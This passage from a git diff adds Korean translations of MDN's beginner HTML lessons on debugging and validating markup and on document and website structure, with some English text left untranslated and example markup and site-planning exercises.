+ <li>In the DOM inspector, you can see what the rendered markup looks like: <img alt="The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text &quot;What causes errors in HTML?&quot; Here you can see that the paragraph element has been closed by the browser." src="https://mdn.mozillademos.org/files/12439/html-inspector.png" style="display: block; margin: 0 auto;"></li>
+ <li>Using the DOM inspector, let's explore our code in detail to see how the browser has tried to fix our HTML errors (we did the review in Firefox; other modern browsers <em>should</em> give the same result):
+  <ul>
+   <li>The paragraphs and list items have been given closing tags.</li>
+   <li>It isn't clear where the first <code>&lt;strong&gt;</code> element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!</li>
+   <li>The  incorrect nesting has been fixed by the browser like this:
+    <pre class="brush: html notranslate">&lt;strong&gt;strong
+  &lt;em&gt;strong emphasised?&lt;/em&gt;
+&lt;/strong&gt;
+&lt;em&gt; what is this?&lt;/em&gt;</pre>
+   </li>
+   <li>The link with the missing double quote has been deleted altogether. The last list item looks like this:
+    <pre class="brush: html notranslate">&lt;li&gt;
+  &lt;strong&gt;Unclosed attributes: Another common source of HTML problems.
+  Let's look at an example: &lt;/strong&gt;
+&lt;/li&gt;</pre>
+   </li>
+  </ul>
+ </li>
+</ol>
+
+<h3 id="HTML_validation">HTML validation</h3>
+
+<p>So you can see from the above example that you really want to make sure your HTML is well-formed! But how? In a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex HTML document?</p>
+
+<p>The best strategy is to start by running your HTML page through the <a href="https://validator.w3.org/">Markup Validation Service</a> — created and maintained by the W3C, the organization that looks after the specifications that define HTML, CSS, and other web technologies. This webpage takes an HTML document as an input, goes through it, and gives you a report to tell you what is wrong with your HTML.</p>
+
+<p><img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png" style="display: block; margin: 0 auto;"></p>
+
+<p>To specify the HTML to validate, you can give it a web address, upload an HTML file, or directly input some HTML code.</p>
+
+<h3 id="Active_learning_Validating_an_HTML_document">Active learning: Validating an HTML document</h3>
+
+<p>Let's try this with our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">sample document</a>.</p>
+
+<ol>
+ <li>First, load up the <a href="https://validator.w3.org/">Markup Validation Service</a> in one browser tab, if it isn't already.</li>
+ <li>Switch to the <a href="https://validator.w3.org/#validate_by_input">Validate by Direct Input</a> tab.</li>
+ <li>Copy all the sample document's code (not just the body) and paste it into the large text area shown in the Markup Validation Service.</li>
+ <li>Press the <em>Check</em> button.</li>
+</ol>
+
+<p>This should give you a list of errors and other information.</p>
+
+<p><img alt="A list of of HTML validation results from the W3C markup validation service" src="https://mdn.mozillademos.org/files/12443/validation-results.png" style="display: block; margin: 0 auto;"></p>
+
+<h4 id="Interpreting_the_error_messages">Interpreting the error messages</h4>
+
+<p>The error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code. Let's go through the error messages and what they mean. You'll see that each message comes with a line and column number to help you to locate the error easily.</p>
+
+<ul>
+ <li>"End tag <code>li</code> implied, but there were open elements" (2 instances): These messages indicate that an element is open that should be closed. The ending tag is implied, but not actually there. The line/column information points to the first line after the line where the closing tag should really be, but this is a good enough clue to see what is wrong.</li>
+ <li>"Unclosed element <code>strong</code>": This is really easy to understand — a {{htmlelement("strong")}} element is unclosed, and the line/column information points right to where it is.</li>
+ <li>"End tag <code>strong</code> violates nesting rules": This points out the incorrectly nested elements, and the line/column information points out where it is.</li>
+ <li>"End of file reached when inside an attribute value. Ignoring tag": This one is rather cryptic; it refers to the fact that there is an attribute value not properly formed somewhere, possibly near the end of the file because the end of the file appears inside the attribute value. The fact that the browser doesn't render the link should give us a good clue as to what element is at fault.</li>
+ <li>"End of file seen and there were open elements": This is a bit ambiguous, but basically refers to the fact there are open elements that need to be properly closed. The lines numbers point to the last few lines of the file, and this error message comes with a line of code that points out an example of an open element:
+  <pre class="notranslate">example: &lt;a href="https://www.mozilla.org/&gt;link to Mozilla homepage&lt;/a&gt; ↩ &lt;/ul&gt;↩ &lt;/body&gt;↩&lt;/html&gt;</pre>
+
+  <div class="note">
+  <p><strong>Note</strong>: An attribute missing a closing quote can result in an open element because the rest of the document is interpreted as the attribute's content.</p>
+  </div>
+ </li>
+ <li>"Unclosed element <code>ul</code>": This is not very helpful, as the {{htmlelement("ul")}} element <em>is</em> closed correctly. This error comes up because the {{htmlelement("a")}} element is not closed, due to the missing closing quote mark.</li>
+</ul>
+
+<p><span>If you can't work out what every error message means, don't worry about it — a good idea is to try fixing a few errors at a time. Then try revalidating your HTML to show what errors are left. Sometimes fixing an earlier error will also get rid of other error messages — several errors can often be caused by a single problem, in a domino effect.</span></p>
+
+<p><span>You will know when all your errors are fixed when you see the following banner in your output:</span></p>
+
+<p><img alt='Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."' src="https://mdn.mozillademos.org/files/12445/valid-html-banner.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="요약">요약</h2>
+
+<p>그래서 HTML을 디버깅하는 방법에 대해 소개합니다. 이 방법은 나중에 CSS, JavaScript 및 다른 유형의 코드를 디버깅 할 때 유용한 기술을 제공합니다. 이것은 또한 HTML 모듈 학습 입문의 끝 부분입니다. 이제 평가를 통해 스스로 테스트 할 수 있습니다. 첫 번째 것은 아래에 링크되어 있습니다.</p>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
+</ul>
diff --git a/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.html
new file mode 100644
index 0000000000..868313807c
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/document_and_website_structure/index.html
@@ -0,0 +1,267 @@
+---
+title: Document and website structure
+slug: Learn/HTML/Introduction_to_HTML/Document_and_website_structure
+translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">당신의 페이지의 (단락 또는 이미지 같은) 개개의 파트를 정의할 뿐 아니라, {{glossary("HTML")}}은 웹 사이트의 구역을 정의하는 ("헤더", "네비게이션 메뉴", "메인 컨텐츠 칼럼"과 같은) 수많은 블록 수준 요소들로 웹 사이트를 자랑합니다. 이번 글은 어떻게 기본 웹 구조를 설계하고, 어떻게 그 구조를 나타내는 HTML을 작성하는지 살펴봅니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">선행 조건:</th>
+   <td><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>의 HTML의 기본. <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>의 HTML 텍스트 형식. <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a>의 하이퍼링크의 동작 방식.</td>
+  </tr>
+  <tr>
+   <th scope="row">목표:</th>
+   <td>시멘틱 태그를 사용하여 문서 구조를 만드는 방법과 간단한 웹사이트 구조 만드는 방법을 배운다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="문서의_기본_섹션">문서의 기본 섹션</h2>
+
+<p>웹페이지는 서로 많이 다르게 보일 수 있지만, 페이지가 전체화면 비디오 혹은 게임이거나 예술 프로젝트, 좋지 않은 구조를 가지고 있지 않은 이상에는 대부분 유사한 구성 요소를 가지고 있습니다.</p>
+
+<dl>
+ <dt>header</dt>
+ <dd>일반적으로 큰 제목과 로고 등이 있는 큰 띠. 한 웹페이지에서 주요 정보가 있는 곳입니다.</dd>
+ <dt>navigation bar</dt>
+ <dd>홈 페이지의 메인 섹션으로 연결합니다; 대부분 메뉴 버튼이나 링크, 탭으로 표현됩니다. 헤더와 같이, 이 항목은 대부분 한 페이지로부터 다른 페이지로 넘어가도 구성으로 남아있습니다. — 웹 사이트에서 일관적이지 못한 네비게이션을 사용할 경우 방문자는 복잡함과 불만족스러움을 느낄 것입니다. 많은 웹 디자이너들은 네비게이션 바를 개별적인 구성 요소로 사용하기 보다 hearder bar의 일부로 다루지만 이는 필수 사항은 아닙니다; 사실 일부 사람들은 접근성을 위해서는 두 개로 나누는 것이 좋다고 주장하는데, 나뉜 경우 스크린 리더들이 두 특징들을 더 잘 읽을 수 있기 때문입니다.</dd>
+ <dt>main content</dt>
+ <dd>웹 페이지에서 가장 독특한 컨텐츠를 포함하고 있는 중심의 큰 부분으로, 예를 들어, 당신이 보고 싶어하는 비디오, 당신이 읽고 있는 주요 이야기, 당신이 보고 싶어하는 지도, 또는 뉴스 헤드라인 등이 있습니다. 물론 이 부분은 각 페이지마다 다른 웹 사이트의 한 부분입니다.  </dd>
+ <dt>sidebar</dt>
+ <dd>주변의 정보, 링크, 인용 부호, 광고 등입니다. 일반적으로 이는 메인 컨텐츠에 무엇이 포함되어 있느냐에 따라 다릅니다. (예를 들어 기사 페이지에서, sidebar는 작성자의 소개, 또는 관련 기사 링크를 포함할 것입니다.) 그러나 보조 navigation system으로서 되풀이되는 요소를 사용하는 경우도 찾아볼 수 있습니다. </dd>
+ <dt>footer</dt>
+ <dd>페이지 바닥의 줄로 일반적으로 작은 정보, 저작권 정보, 또는 연락처 등을 포함하고 있습니다. (header와 같이) 일반적인 정보를 담고 있는 부분이지만 보통 중요하지 않거나 웹 사이트 자체에 부차적인 정보입니다. Footer는 또 가끔 {{Glossary("SEO")}} 목적으로 사용되는데, 인기 컨텐츠 바로가기 링크를 제공합니다.</dd>
+</dl>
+
+<p>"전형적인 웹사이트"는 다음과 같이 구성될 수 있습니다:</p>
+
+<p><img alt="a simple website structure example featuring a main heading, navigation menu, main content, side bar, and footer." src="https://mdn.mozillademos.org/files/12417/sample-website.png" style="display: block; margin: 0 auto;"></p>
+
+<h2 id="컨텐츠_구조화를_위한_HTML">컨텐츠 구조화를 위한 HTML</h2>
+
+<p>위에 보이는 간단한 예제는 아름답지는 않습니다. 하지만 전형적인 웹사이트 레이아웃을 보여주기에는 모자람이 없는 예제입니다. 어떤 웹사이트는 Column이 더 있을 수 있고, 더 복잡할 수 있습니다 하지만 아이디어가 있고 적절한 CSS를 활용한다면, 모든 요소를 활용하여 section별로 구분하여 당신이 원하는 모양으로 만들 수 있습니다. 하지만 이를 논의하기 전에, 우리는 semantic을 고려해서 (요소의 의미를 고려해서) <strong>요소를 적재적소에 사용해야 합니다</strong>.</p>
+
+<p>This is because visuals don't tell the whole story. We use color and font size to draw sighted users' attention to the most useful parts of the content, like the navigation menu and related links, but what about visually impaired people for example, who might not find concepts like "pink" and "large font" very useful?</p>
+
+<div class="note">
+<p><strong>Note</strong>: Colorblind people represent around <a href="http://www.color-blindness.com/2006/04/28/colorblind-population/">8% of the world population</a>. Blind and visually impaired people represent roughly 4-5% of the world population (in 2012 there were <a href="https://en.wikipedia.org/wiki/Visual_impairment">285 million such people in the world</a>, while the total population was <a href="https://en.wikipedia.org/wiki/World_human_population#/media/File:World_population_history.svg">around 7 billion</a>.)</p>
+</div>
+
+<p>In your HTML code, you can mark up sections of content based on their <em>functionality</em> — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." As we mentioned earlier in the course, there are a number of <a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Why_do_we_need_structure">consequences of not using the right element structure and semantics for the right job</a>.</p>
+
+<p>To implement such semantic mark up, HTML provides dedicated tags that you can use to represent such sections, for example:</p>
+
+<ul>
+ <li><strong>header: </strong>{{htmlelement("header")}}.</li>
+ <li><strong>navigation bar: </strong>{{htmlelement("nav")}}.</li>
+ <li><strong>main content: </strong>{{htmlelement("main")}}, with various content subsections represented by {{HTMLElement("article")}}, {{htmlelement("section")}}, and {{htmlelement("div")}} elements.</li>
+ <li><strong>sidebar: </strong>{{htmlelement("aside")}}; often placed inside {{htmlelement("main")}}.</li>
+ <li><strong>footer: </strong>{{htmlelement("footer")}}.</li>
+</ul>
+
+<h3 id="Active_learning_exploring_the_code_for_our_example">Active learning: exploring the code for our example</h3>
+
+<p>Our example seen above is represented by the following code (you can also <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">find the example in our Github repo</a>). We'd like you to look at the example above, and then look over the listing below to see what parts make up what section of the visual.</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+
+    &lt;title&gt;My page title&lt;/title&gt;
+    &lt;link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css"&gt;
+    &lt;link rel="stylesheet" href="style.css"&gt;
+
+    &lt;!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer--&gt;
+    &lt;!--[if lt IE 9]&gt;
+      &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"&gt;&lt;/script&gt;
+    &lt;![endif]--&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+    &lt;!-- Here is our main header that is used across all the pages of our website --&gt;
+
+    &lt;header&gt;
+      &lt;h1&gt;Header&lt;/h1&gt;
+    &lt;/header&gt;
+
+    &lt;nav&gt;
+      &lt;ul&gt;
+        &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#"&gt;Our team&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#"&gt;Projects&lt;/a&gt;&lt;/li&gt;
+        &lt;li&gt;&lt;a href="#"&gt;Contact&lt;/a&gt;&lt;/li&gt;
+      &lt;/ul&gt;
+
+       &lt;!-- A Search form is another commmon non-linear way to navigate through a website. --&gt;
+
+       &lt;form&gt;
+         &lt;input type="search" name="q" placeholder="Search query"&gt;
+         &lt;input type="submit" value="Go!"&gt;
+       &lt;/form&gt;
+     &lt;/nav&gt;
+
+    &lt;!-- Here is our page's main content --&gt;
+    &lt;main&gt;
+
+      &lt;!-- It contains an article --&gt;
+      &lt;article&gt;
+        &lt;h2&gt;Article heading&lt;/h2&gt;
+
+        &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.&lt;/p&gt;
+
+        &lt;h3&gt;subsection&lt;/h3&gt;
+
+        &lt;p&gt;Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.&lt;/p&gt;
+
+        &lt;p&gt;Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.&lt;/p&gt;
+
+        &lt;h3&gt;Another subsection&lt;/h3&gt;
+
+        &lt;p&gt;Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.&lt;/p&gt;
+
+        &lt;p&gt;Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.&lt;/p&gt;
+      &lt;/article&gt;
+
+      &lt;!-- the aside content can also be nested within the main content --&gt;
+      &lt;aside&gt;
+        &lt;h2&gt;Related&lt;/h2&gt;
+
+        &lt;ul&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Oh I do like to be beside the seaside&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Oh I do like to be beside the sea&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Although in the North of England&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href="#"&gt;It never stops raining&lt;/a&gt;&lt;/li&gt;
+          &lt;li&gt;&lt;a href="#"&gt;Oh well...&lt;/a&gt;&lt;/li&gt;
+        &lt;/ul&gt;
+      &lt;/aside&gt;
+
+    &lt;/main&gt;
+
+    &lt;!-- And here is our main footer that is used across all the pages of our website --&gt;
+
+    &lt;footer&gt;
+      &lt;p&gt;©Copyright 2050 by nobody. All rights reversed.&lt;/p&gt;
+    &lt;/footer&gt;
+
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Take some time to look over the code and understand it — the comments inside the code should also help you to understand it. We aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound HTML structure, and then laying it out with CSS. We'll wait for this until you start to study CSS layout as part of the CSS topic.</p>
+
+<h2 id="HTML_레이아웃_요소의_세부_사항">HTML 레이아웃 요소의 세부 사항</h2>
+
+<p>It's good to understand the overall meaning of all the HTML sectioning elements in detail — this is something you'll work on gradually as you start to get more experience with web development. You can find a lot of detail by reading our <a href="/en-US/docs/Web/HTML/Element">HTML element reference</a>. For now, these are the main definitions that you should try to understand:</p>
+
+<ul>
+ <li>{{HTMLElement('main')}} 는 그 <em>페이지에 독자적인</em> 컨텐츠입니다<em>. </em>Use <code>&lt;main&gt;</code> only <em>once </em>per page, and put it directly inside {{HTMLElement('body')}}. Ideally this shouldn't be nested within other elements.</li>
+ <li>{{HTMLElement('article')}} encloses a block of related content that makes sense on its own without the rest of the page (e.g. a single blog post.)</li>
+ <li>{{HTMLElement('section')}} is similar to <code>&lt;article&gt;</code>, but it is more for grouping together a single part of the page that constitutes one single piece of functionality (e.g. a mini map, or a set of article headlines and summaries.) It's considered best practice to begin each section with a <a href="/en-US/Learn/HTML/Howto/Set_up_a_proper_title_hierarchy">heading</a>; also note that you can break <code>&lt;article&gt;</code>s up into different <code>&lt;section&gt;</code>s, or <code>&lt;section&gt;</code>s up into different <code>&lt;article&gt;</code>s, depending on the context.</li>
+ <li>{{HTMLElement('aside')}} contains content that is not directly related to the main content but can provide additional information indirectly related to it (glossary entries, author biography, related links, etc.)</li>
+ <li>{{HTMLElement('header')}} represents a group of introductory content. If it is a child of {{HTMLElement('body')}} it defines the global header of a webpage, but if it's a child of an {{HTMLElement('article')}} or {{HTMLElement('section')}} it defines a specific header for that section (try not to confuse this with <a href="/en-US/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Adding_a_title">titles and headings</a>.)</li>
+ <li>{{HTMLElement('nav')}} contains the main navigation functionality for the page. Secondary links, etc., would not go in the navigation.</li>
+ <li>{{HTMLElement('footer')}} represents a group of end content for a page.</li>
+</ul>
+
+<h3 id="Non-semantic_wrappers">Non-semantic wrappers</h3>
+
+<p>Sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. Sometimes you might want to just group a set of elements together to affect them all as a single entity with some {{glossary("CSS")}} or {{glossary("JavaScript")}}. For cases like these, HTML provides the {{HTMLElement("div")}} and {{HTMLElement("span")}} elements. You should use these preferably with a suitable {{htmlattrxref('class')}} attribute, to provide some kind of label for them so they can be easily targeted.</p>
+
+<p>{{HTMLElement("span")}} is an inline non-semantic element, which you should only use if you can't think of a better semantic text element to wrap your content, or don't want to add any specific meaning. For example:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;The King walked drunkenly back to his room at 01:00, the beer doing nothing to aid
+him as he staggered through the door &lt;span class="editor-note"&gt;[Editor's note: At this point in the
+play, the lights should be down low]&lt;/span&gt;.&lt;/p&gt;</pre>
+
+<p>In this case, the editor's note is supposed to merely provide extra direction for the director of the play; it is not supposed to have extra semantic meaning. For sighted users, CSS would perhaps be used to distance the note slightly from the main text.</p>
+
+<p>{{HTMLElement("div")}} is a block level non-semantic element, which you should only use if you can't think of a better semantic block element to use, or don't want to add any specific meaning. For example, imagine a shopping cart widget that you could choose to pull up at any point during your time on an e-commerce site:</p>
+
+<pre class="brush: html notranslate">&lt;div class="shopping-cart"&gt;
+  &lt;h2&gt;Shopping cart&lt;/h2&gt;
+  &lt;ul&gt;
+    &lt;li&gt;
+      &lt;p&gt;&lt;a href=""&gt;&lt;strong&gt;Silver earrings&lt;/strong&gt;&lt;/a&gt;: $99.95.&lt;/p&gt;
+      &lt;img src="../products/3333-0985/thumb.png" alt="Silver earrings"&gt;
+    &lt;/li&gt;
+    &lt;li&gt;
+      ...
+    &lt;/li&gt;
+  &lt;/ul&gt;
+  &lt;p&gt;Total cost: $237.89&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<p>This isn't really an <code>&lt;aside&gt;</code>, as it doesn't necessarily relate to the main content of the page (you want it viewable from anywhere.) It doesn't even particularly warrant using a  <code>&lt;section&gt;</code>, as it isn't part of the main content of the page. So a <code>&lt;div&gt;</code> is fine in this case. We've included a heading as a signpost to aid screenreader users in finding it.</p>
+
+<div class="warning">
+<p><strong>Warning</strong>: Divs are so convenient to use that it's easy to use them too much. As they carry no semantic value, they just clutter your HTML code. Take care to use them only when there is no better semantic solution and try to reduce their usage to the minimum otherwise you'll have a hard time updating and maintaining your documents.</p>
+</div>
+
+<h3 id="Line_breaks_and_horizontal_rules">Line breaks and horizontal rules</h3>
+
+<p>Two elements that you'll use occasionally and will want to know about are {{htmlelement("br")}} and {{htmlelement("hr")}}:</p>
+
+<p><code>&lt;br&gt;</code> creates a line break in a paragraph; it is the only way to force a rigid structure in a situation where you want a series of fixed short lines, such as in a postal address or a poem. For example:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;There once was a girl called Nell&lt;br&gt;
+Who loved to write HTML&lt;br&gt;
+But her structure was bad, her semantics were sad&lt;br&gt;
+and her markup didn't read very well.&lt;/p&gt;</pre>
+
+<p>Without the <code>&lt;br&gt;</code> elements, the paragraph would just be rendered in one long line (as we said earlier in the course, <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Whitespace_in_HTML">HTML ignores most whitespace</a>); with them in the code, the markup renders like this:</p>
+
+<p>There once was a girl called Nell<br>
+ Who loved to write HTML<br>
+ But her structure was bad, her semantics were sad<br>
+ and her markup didn't read very well.</p>
+
+<p><code>&lt;hr&gt;</code> elements create a horizontal rule in the document that denotes a thematic change in the text (such as a change in topic or scene). Visually it just look like a horizontal line. As an example:</p>
+
+<pre class="notranslate">&lt;p&gt;Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.&lt;/p&gt;
+&lt;hr&gt;
+&lt;p&gt;Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hasily, and lept to his feet; "better get back to work then", he mused.&lt;/p&gt;</pre>
+
+<p>Would render like this:</p>
+
+<p>Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.</p>
+
+<hr>
+<p>Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hasily and sighed; "better get back to work then", he mused.</p>
+
+<h2 id="간단한_웹사이트_계획하기">간단한 웹사이트 계획하기</h2>
+
+<p>Once you've planned out the content of a simple webpage, the next logical step is to try to work out what content you want to put on a whole website, what pages you need, and how they should be arranged and link to one another for the best possible user experience. This is called {{glossary("Information architecture")}}. In a large, complex website, a lot of planning can go into this process, but for a simple website of a few pages this can be fairly simple, and fun!</p>
+
+<ol>
+ <li>몇 요소들은 대부분의 페이지에 공통적으로 적용될 것이란 걸 명심하세요 — 네비게이션 메뉴나 footer 컨텐츠처럼. 예를 들어 비즈니스를 위한 페이지라면, 당신의 연락처를 각각의 페이지의 footer에 보이도록 하는 것은 좋은 생각입니다. 모든 페이지에 공통적으로 포함하고 싶은 것을 적어보세요.<img alt="the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy" src="https://mdn.mozillademos.org/files/12423/common-features.png" style="border-style: solid; border-width: 1px; display: block; height: 375px; margin: 0px auto; width: 600px;"></li>
+ <li>다음으로, 각 페이지의 구조를 간단한 스케치로 그리세요.아마 위의 우리의 간단한 웹사이트 같을 것입니다). 각 블럭의 기능을 적으세요.<img alt="A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer" src="https://mdn.mozillademos.org/files/12429/site-structure.png" style="border-style: solid; border-width: 1px; display: block; height: 232px; margin: 0px auto; width: 600px;"></li>
+ <li>이제 웹사이트에 포함시키길 원하는 (각 페이지에 공통적이지 않은) 다른 모든 컨텐츠를 brainstorm하세요 - 리스트에 모두 적어 내려가세요. <img alt="A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info" src="https://mdn.mozillademos.org/files/12425/feature-list.png" style="border-style: solid; border-width: 1px; display: block; height: 1066px; margin: 0px auto; width: 600px;"></li>
+ <li>다음으로, 이 모든 컨텐츠들을 그룹화 해 다른 페이지에서 어떤 부분들이 함께할 수 있을지 생각할 수 있습니다. 이것은 {{glossary("Card sorting")}}이라는 기술과 매우 유사합니다.<img alt="The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things" src="https://mdn.mozillademos.org/files/12421/card-sorting.png" style="border-style: solid; border-width: 1px; display: block; height: 579px; margin: 0px auto; width: 600px;"></li>
+ <li>이제 대략적인 사이트맵을 그려보세요 - 사이트의 각 페이지를 동그라미로 지정하고, 각 페이지 간 동작 흐름을 보여주기 위해 선을 그으세요. 홈페이지는 아마 가운데에 있고, 모두는 아니어도 대부분에 연결될 것 입니다; 작은 사이트 안의 대부분의 페이지는, 비록 예외는 있겠지만, 메인 네비게이션에서 사용할 수 있어야 합니다. 당신은 아마 이것들이 어떻게 보여져야 할지에 대한 설명도 적고 싶을 것입니다. <img alt="A map of the site showing the homepage, country page, search results, specials page, checkout, and buy page" src="https://mdn.mozillademos.org/files/12427/site-map.png" style="border-style: solid; border-width: 1px; display: block; height: 872px; margin: 0px auto; width: 600px;"></li>
+</ol>
+
+<h3 id="Active_learning_create_your_own_sitemap">Active learning: create your own sitemap</h3>
+
+<p>Try carrying out the above exercise for a website of your own creation. What would you like to make a site about?</p>
+
+<div class="note">
+<p><strong>Note</strong>: 작업물을 어딘가에 저장하세요; 나중에 필요할 수 도 있습니다.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>At this point you should have a better idea about how to structure a web page/site. In the last article of this module, we'll study how to debug HTML.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines">Using HTML sections and outlines</a>: Advanced guide to HTML5 semantic elements and the HTML5 outline algorithm.</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</p>
diff --git a/files/ko/learn/html/introduction_to_html/getting_started/index.html b/files/ko/learn/html/introduction_to_html/getting_started/index.html
new file mode 100644
index 0000000000..319f8031db
--- /dev/null
+++ b/files/ko/learn/html/introduction_to_html/getting_started/index.html
@@ -0,0 +1,725 @@
+---
+title: HTML 시작하기
+slug: Learn/HTML/Introduction_to_HTML/Getting_started
+translation_of: Learn/HTML/Introduction_to_HTML/Getting_started
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<p class="summary">이 문서는 HTML 의 기본적인 내용에 대한 글입니다. 이 글에서는 HTML 에 관련된 용어들(Element, Attribute ..)의 정의에 대해 설명할 것입니다. 또한 HTML이 무엇으로 이루어져 있는지(구성요소), 어떻게 구성되어 있는지(구조), 중요한 특징은 무엇인지에 대해 설명할 것입니다. 독자의 흥미를 위해 간단한 HTML 을 작성하는 과정도 포함되어 있습니다.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">사전 지식</th>
